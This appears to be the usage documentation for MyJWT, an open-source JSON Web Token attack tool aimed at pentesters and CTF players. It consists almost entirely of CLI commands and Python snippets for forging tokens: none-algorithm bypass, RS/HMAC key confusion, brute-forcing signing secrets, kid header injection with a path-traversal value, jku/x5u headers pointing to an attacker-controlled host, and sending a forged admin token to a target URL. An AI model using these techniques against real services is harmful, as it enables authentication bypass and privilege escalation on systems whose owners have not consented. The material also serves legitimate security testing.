pip install myjwt

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# 워드리스트를 마운트하려면
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# Windows의 경우
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

pacman -S myjwt

$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -r, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authentication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                               jwt.

  --help                       Show this message and exit.

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

myjwt YOUR_JWT --none-vulnerability

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

myjwt YOUR_JWT --sign YOUR_KEY

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

myjwt YOUR_JWT --bruteforce PATH

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

myjwt YOUR_JWT --crack REGEX

myjwt YOUR_JWT --hmac FILE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

myjwt YOUR_JWT --kid INJECTION

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

myjwt YOUR_JWT --jku YOUR_URL

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

myjwt YOUR_JWT --x5u YOUR_URL

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)